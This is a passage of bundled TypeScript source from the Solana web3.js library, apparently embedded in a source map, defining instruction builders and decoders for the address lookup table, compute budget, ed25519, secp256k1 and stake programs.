LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable,\n instruction.data,\n );\n\n return {\n authority: instruction.keys[1].pubkey,\n payer: instruction.keys[2].pubkey,\n recentSlot: Number(recentSlot),\n };\n }\n\n static decodeExtendLookupTable(\n instruction: TransactionInstruction,\n ): ExtendLookupTableParams {\n this.checkProgramId(instruction.programId);\n if (instruction.keys.length < 2) {\n throw new Error(\n `invalid instruction; found ${instruction.keys.length} keys, expected at least 2`,\n );\n }\n\n const {addresses} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable,\n instruction.data,\n );\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n payer:\n instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined,\n addresses: addresses.map(buffer => new PublicKey(buffer)),\n };\n }\n\n static decodeCloseLookupTable(\n instruction: TransactionInstruction,\n ): CloseLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 3);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n recipient: instruction.keys[2].pubkey,\n };\n }\n\n static decodeFreezeLookupTable(\n instruction: TransactionInstruction,\n ): FreezeLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n static decodeDeactivateLookupTable(\n instruction: TransactionInstruction,\n ): DeactivateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(AddressLookupTableProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not AddressLookupTable Program',\n );\n }\n }\n /**\n * @internal\n */\n static checkKeysLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\nexport class AddressLookupTableProgram {\n /**\n * @internal\n */\n constructor() {}\n\n static programId: PublicKey = new PublicKey(\n 'AddressLookupTab1e1111111111111111111111111',\n );\n\n static createLookupTable(params: CreateLookupTableParams) {\n const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync(\n [params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)],\n this.programId,\n );\n\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable;\n const data = encodeData(type, {\n recentSlot: BigInt(params.recentSlot),\n bumpSeed: bumpSeed,\n });\n\n const keys = [\n {\n pubkey: lookupTableAddress,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n ];\n\n return [\n new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n }),\n lookupTableAddress,\n ] as [TransactionInstruction, PublicKey];\n }\n\n static freezeLookupTable(params: FreezeLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static extendLookupTable(params: ExtendLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable;\n const data = encodeData(type, {\n addresses: params.addresses.map(addr => addr.toBytes()),\n });\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n if (params.payer) {\n keys.push(\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n );\n }\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static deactivateLookupTable(params: DeactivateLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static closeLookupTable(params: CloseLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.recipient,\n isSigner: false,\n isWritable: true,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {u64} from '../utils/bigint';\n\n/**\n * Compute Budget Instruction class\n */\nexport class ComputeBudgetInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a compute budget instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): ComputeBudgetInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u8('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: ComputeBudgetInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS,\n )) {\n if (layout.index == typeIndex) {\n type = ixType as ComputeBudgetInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error(\n 'Instruction type incorrect; not a ComputeBudgetInstruction',\n );\n }\n\n return type;\n }\n\n /**\n * Decode request units compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestUnits(\n instruction: TransactionInstruction,\n ): RequestUnitsParams {\n this.checkProgramId(instruction.programId);\n const {units, additionalFee} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits,\n instruction.data,\n );\n return {units, additionalFee};\n }\n\n /**\n * Decode request heap frame compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestHeapFrame(\n instruction: TransactionInstruction,\n ): RequestHeapFrameParams {\n this.checkProgramId(instruction.programId);\n const {bytes} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame,\n instruction.data,\n );\n return {bytes};\n }\n\n /**\n * Decode set compute unit limit compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitLimit(\n instruction: TransactionInstruction,\n ): SetComputeUnitLimitParams {\n this.checkProgramId(instruction.programId);\n const {units} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit,\n instruction.data,\n );\n return {units};\n }\n\n /**\n * Decode set compute unit price compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitPrice(\n instruction: TransactionInstruction,\n ): SetComputeUnitPriceParams {\n this.checkProgramId(instruction.programId);\n const {microLamports} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice,\n instruction.data,\n );\n return {microLamports};\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(ComputeBudgetProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not ComputeBudgetProgram',\n );\n }\n }\n}\n\n/**\n * An enumeration of valid ComputeBudgetInstructionType's\n */\nexport type ComputeBudgetInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof ComputeBudgetInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'RequestUnits'\n | 'RequestHeapFrame'\n | 'SetComputeUnitLimit'\n | 'SetComputeUnitPrice';\n\ntype ComputeBudgetInstructionInputData = {\n RequestUnits: IInstructionInputData & Readonly<RequestUnitsParams>;\n RequestHeapFrame: IInstructionInputData & Readonly<RequestHeapFrameParams>;\n SetComputeUnitLimit: IInstructionInputData &\n Readonly<SetComputeUnitLimitParams>;\n SetComputeUnitPrice: IInstructionInputData &\n Readonly<SetComputeUnitPriceParams>;\n};\n\n/**\n * Request units instruction params\n */\nexport interface RequestUnitsParams {\n /** Units to request for transaction-wide compute */\n units: number;\n /** Prioritization fee lamports */\n additionalFee: number;\n}\n\n/**\n * Request heap frame instruction params\n */\nexport type RequestHeapFrameParams = {\n /** Requested transaction-wide program heap size in bytes. Must be multiple of 1024. Applies to each program, including CPIs. */\n bytes: number;\n};\n\n/**\n * Set compute unit limit instruction params\n */\nexport interface SetComputeUnitLimitParams {\n /** Transaction-wide compute unit limit */\n units: number;\n}\n\n/**\n * Set compute unit price instruction params\n */\nexport interface SetComputeUnitPriceParams {\n /** Transaction compute unit price used for prioritization fees */\n microLamports: number | bigint;\n}\n\n/**\n * An enumeration of valid ComputeBudget InstructionType's\n * @internal\n */\nexport const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in ComputeBudgetInstructionType]: InstructionType<\n ComputeBudgetInstructionInputData[Instruction]\n >;\n}>({\n RequestUnits: {\n index: 0,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestUnits']\n >([\n BufferLayout.u8('instruction'),\n BufferLayout.u32('units'),\n BufferLayout.u32('additionalFee'),\n ]),\n },\n RequestHeapFrame: {\n index: 1,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestHeapFrame']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]),\n },\n SetComputeUnitLimit: {\n index: 2,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitLimit']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('units')]),\n },\n SetComputeUnitPrice: {\n index: 3,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitPrice']\n >([BufferLayout.u8('instruction'), u64('microLamports')]),\n },\n});\n\n/**\n * Factory class for transaction instructions to interact with the Compute Budget program\n */\nexport class ComputeBudgetProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Compute Budget program\n */\n static programId: PublicKey = new PublicKey(\n 'ComputeBudget111111111111111111111111111111',\n );\n\n /**\n * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice}\n */\n static requestUnits(params: RequestUnitsParams): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static requestHeapFrame(\n params: RequestHeapFrameParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitLimit(\n params: SetComputeUnitLimitParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitPrice(\n params: SetComputeUnitPriceParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice;\n const data = encodeData(type, {\n microLamports: BigInt(params.microLamports),\n });\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {Keypair} from '../keypair';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {sign} from '../utils/ed25519';\n\nconst PRIVATE_KEY_BYTES = 64;\nconst PUBLIC_KEY_BYTES = 32;\nconst SIGNATURE_BYTES = 64;\n\n/**\n * Params for creating an ed25519 instruction using a public key\n */\nexport type CreateEd25519InstructionWithPublicKeyParams = {\n publicKey: Uint8Array;\n message: Uint8Array;\n signature: Uint8Array;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an ed25519 instruction using a private key\n */\nexport type CreateEd25519InstructionWithPrivateKeyParams = {\n privateKey: Uint8Array;\n message: Uint8Array;\n instructionIndex?: number;\n};\n\nconst ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n padding: number;\n publicKeyInstructionIndex: number;\n publicKeyOffset: number;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u8('padding'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u16('signatureInstructionIndex'),\n BufferLayout.u16('publicKeyOffset'),\n BufferLayout.u16('publicKeyInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u16('messageInstructionIndex'),\n]);\n\nexport class Ed25519Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the ed25519 program\n */\n static programId: PublicKey = new PublicKey(\n 'Ed25519SigVerify111111111111111111111111111',\n );\n\n /**\n * Create an ed25519 instruction with a public key and signature. The\n * public key must be a buffer that is 32 bytes long, and the signature\n * must be a buffer of 64 bytes.\n */\n static createInstructionWithPublicKey(\n params: CreateEd25519InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, instructionIndex} = params;\n\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n assert(\n signature.length === SIGNATURE_BYTES,\n `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`,\n );\n\n const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span;\n const signatureOffset = publicKeyOffset + publicKey.length;\n const messageDataOffset = signatureOffset + signature.length;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(messageDataOffset + message.length);\n\n const index =\n instructionIndex == null\n ? 0xffff // An index of `u16::MAX` makes it default to the current instruction.\n : instructionIndex;\n\n ED25519_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n padding: 0,\n signatureOffset,\n signatureInstructionIndex: index,\n publicKeyOffset,\n publicKeyInstructionIndex: index,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: index,\n },\n instructionData,\n );\n\n instructionData.fill(publicKey, publicKeyOffset);\n instructionData.fill(signature, signatureOffset);\n instructionData.fill(message, messageDataOffset);\n\n return new TransactionInstruction({\n keys: [],\n programId: Ed25519Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an ed25519 instruction with a private key. The private key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateEd25519InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey, message, instructionIndex} = params;\n\n assert(\n privateKey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${privateKey.length} bytes`,\n );\n\n try {\n const keypair = Keypair.fromSecretKey(privateKey);\n const publicKey = keypair.publicKey.toBytes();\n const signature = sign(message, keypair.secretKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import {secp256k1} from '@noble/curves/secp256k1';\n\nexport const ecdsaSign = (\n msgHash: Parameters<typeof secp256k1.sign>[0],\n privKey: Parameters<typeof secp256k1.sign>[1],\n) => {\n const signature = secp256k1.sign(msgHash, privKey);\n return [signature.toCompactRawBytes(), signature.recovery!] as const;\n};\nexport const isValidPrivateKey = secp256k1.utils.isValidPrivateKey;\nexport const publicKeyCreate = secp256k1.getPublicKey;\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\nimport {keccak_256} from '@noble/hashes/sha3';\n\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {publicKeyCreate, ecdsaSign} from '../utils/secp256k1';\nimport {toBuffer} from '../utils/to-buffer';\n\nconst PRIVATE_KEY_BYTES = 32;\nconst ETHEREUM_ADDRESS_BYTES = 20;\nconst PUBLIC_KEY_BYTES = 64;\nconst SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11;\n\n/**\n * Params for creating an secp256k1 instruction using a public key\n */\nexport type CreateSecp256k1InstructionWithPublicKeyParams = {\n publicKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using an Ethereum address\n */\nexport type CreateSecp256k1InstructionWithEthAddressParams = {\n ethAddress: Buffer | Uint8Array | Array<number> | string;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using a private key\n */\nexport type CreateSecp256k1InstructionWithPrivateKeyParams = {\n privateKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n instructionIndex?: number;\n};\n\nconst SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n ethAddress: Uint8Array;\n ethAddressInstructionIndex: number;\n ethAddressOffset: number;\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n recoveryId: number;\n signature: Uint8Array;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u8('signatureInstructionIndex'),\n BufferLayout.u16('ethAddressOffset'),\n BufferLayout.u8('ethAddressInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u8('messageInstructionIndex'),\n BufferLayout.blob(20, 'ethAddress'),\n BufferLayout.blob(64, 'signature'),\n BufferLayout.u8('recoveryId'),\n]);\n\nexport class Secp256k1Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the secp256k1 program\n */\n static programId: PublicKey = new PublicKey(\n 'KeccakSecp256k11111111111111111111111111111',\n );\n\n /**\n * Construct an Ethereum address from a secp256k1 public key buffer.\n * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer\n */\n static publicKeyToEthAddress(\n publicKey: Buffer | Uint8Array | Array<number>,\n ): Buffer {\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n try {\n return Buffer.from(keccak_256(toBuffer(publicKey))).slice(\n -ETHEREUM_ADDRESS_BYTES,\n );\n } catch (error) {\n throw new Error(`Error constructing Ethereum address: ${error}`);\n }\n }\n\n /**\n * Create an secp256k1 instruction with a public key. The public key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPublicKey(\n params: CreateSecp256k1InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, recoveryId, instructionIndex} =\n params;\n return Secp256k1Program.createInstructionWithEthAddress({\n ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey),\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n }\n\n /**\n * Create an secp256k1 instruction with an Ethereum address. The address\n * must be a hex string or a buffer that is 20 bytes long.\n */\n static createInstructionWithEthAddress(\n params: CreateSecp256k1InstructionWithEthAddressParams,\n ): TransactionInstruction {\n const {\n ethAddress: rawAddress,\n message,\n signature,\n recoveryId,\n instructionIndex = 0,\n } = params;\n\n let ethAddress;\n if (typeof rawAddress === 'string') {\n if (rawAddress.startsWith('0x')) {\n ethAddress = Buffer.from(rawAddress.substr(2), 'hex');\n } else {\n ethAddress = Buffer.from(rawAddress, 'hex');\n }\n } else {\n ethAddress = rawAddress;\n }\n\n assert(\n ethAddress.length === ETHEREUM_ADDRESS_BYTES,\n `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`,\n );\n\n const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE;\n const ethAddressOffset = dataStart;\n const signatureOffset = dataStart + ethAddress.length;\n const messageDataOffset = signatureOffset + signature.length + 1;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(\n SECP256K1_INSTRUCTION_LAYOUT.span + message.length,\n );\n\n SECP256K1_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n signatureOffset,\n signatureInstructionIndex: instructionIndex,\n ethAddressOffset,\n ethAddressInstructionIndex: instructionIndex,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: instructionIndex,\n signature: toBuffer(signature),\n ethAddress: toBuffer(ethAddress),\n recoveryId,\n },\n instructionData,\n );\n\n instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span);\n\n return new TransactionInstruction({\n keys: [],\n programId: Secp256k1Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an secp256k1 instruction with a private key. The private key\n * must be a buffer that is 32 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateSecp256k1InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey: pkey, message, instructionIndex} = params;\n\n assert(\n pkey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`,\n );\n\n try {\n const privateKey = toBuffer(pkey);\n const publicKey = publicKeyCreate(\n privateKey,\n false /* isCompressed */,\n ).slice(1); // throw away leading byte\n const messageHash = Buffer.from(keccak_256(toBuffer(message)));\n const [signature, recoveryId] = ecdsaSign(messageHash, privateKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {\n SYSVAR_CLOCK_PUBKEY,\n SYSVAR_RENT_PUBKEY,\n SYSVAR_STAKE_HISTORY_PUBKEY,\n} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Address of the stake config account which configures the rate\n * of stake warmup and cooldown as well as the slashing penalty.\n */\nexport const STAKE_CONFIG_ID = new PublicKey(\n 'StakeConfig11111111111111111111111111111111',\n);\n\n/**\n * Stake account authority info\n */\nexport class Authorized {\n /** stake authority */\n staker: PublicKey;\n /** withdraw authority */\n withdrawer: PublicKey;\n\n /**\n * Create a new Authorized object\n * @param staker the stake authority\n * @param withdrawer the withdraw authority\n */\n constructor(staker: PublicKey, withdrawer: PublicKey) {\n this.staker = staker;\n this.withdrawer = withdrawer;\n }\n}\n\ntype AuthorizedRaw = Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n}>;\n\n/**\n * Stake account lockup info\n */\nexport class Lockup {\n /** Unix timestamp of lockup expiration */\n unixTimestamp: number;\n /** Epoch of lockup expiration */\n epoch: number;\n /** Lockup custodian authority */\n custodian: PublicKey;\n\n /**\n * Create a new Lockup object\n */\n constructor(unixTimestamp: number, epoch: number, custodian: PublicKey) {\n this.unixTimestamp = unixTimestamp;\n this.epoch = epoch;\n this.custodian = custodian;\n }\n\n /**\n * Default, inactive Lockup value\n */\n static default: Lockup = new Lockup(0, 0, PublicKey.default);\n}\n\ntype LockupRaw = Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n}>;\n\n/**\n * Create stake account transaction params\n */\nexport type CreateStakeAccountParams = {\n /** Address of the account which will fund creation */\n fromPubkey: PublicKey;\n /** Address of the new stake account */\n stakePubkey: PublicKey;\n /** Authorities of the new stake account */\n authorized: Authorized;\n /** Lockup of the new stake account */\n lockup?: Lockup;\n /** Funding amount */\n lamports: number;\n};\n\n/**\n * Create stake account with seed transaction params\n */\nexport type CreateStakeAccountWithSeedParams = {\n fromPubkey: PublicKey;\n stakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n authorized: Authorized;\n lockup?: Lockup;\n lamports: number;\n};\n\n/**\n * Initialize stake instruction params\n */\nexport type InitializeStakeParams = {\n stakePubkey: PublicKey;\n authorized: Authorized;\n lockup?: Lockup;\n};\n\n/**\n * Delegate stake instruction params\n */\nexport type DelegateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n votePubkey: PublicKey;\n};\n\n/**\n * Authorize stake instruction params\n */\nexport type AuthorizeStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Authorize stake instruction params using a derived key\n */\nexport type AuthorizeWithSeedStakeParams = {\n stakePubkey: PublicKey;\n authorityBase: PublicKey;\n authoritySeed: string;\n authorityOwner: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Split stake instruction params\n */\nexport type SplitStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n lamports: number;\n};\n\n/**\n * Split with seed transaction params\n */\nexport type SplitStakeWithSeedParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n lamports: number;\n};\n\n/**\n * Withdraw stake instruction params\n */\nexport type WithdrawStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n toPubkey: PublicKey;\n lamports: number;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Deactivate stake instruction params\n */\nexport type DeactivateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Merge stake instruction params\n */\nexport type MergeStakeParams = {\n stakePubkey: PublicKey;\n sourceStakePubKey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Stake Instruction class\n */\nexport class StakeInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a stake instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): StakeInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: StakeInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as StakeInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a StakeInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a initialize stake instruction and retrieve the instruction params.\n */\n static decodeInitialize(\n instruction: TransactionInstruction,\n ): InitializeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized, lockup} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Initialize,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorized: new Authorized(\n new PublicKey(authorized.staker),\n new PublicKey(authorized.withdrawer),\n ),\n lockup: new Lockup(\n lockup.unixTimestamp,\n lockup.epoch,\n new PublicKey(lockup.custodian),\n ),\n };\n }\n\n /**\n * Decode a delegate stake instruction and retrieve the instruction params.\n */\n static decodeDelegate(\n instruction: TransactionInstruction,\n ): DelegateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 6);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n votePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[5].pubkey,\n };\n }\n\n /**\n * Decode an authorize stake instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {newAuthorized, stakeAuthorizationType} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n const o: AuthorizeStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode an 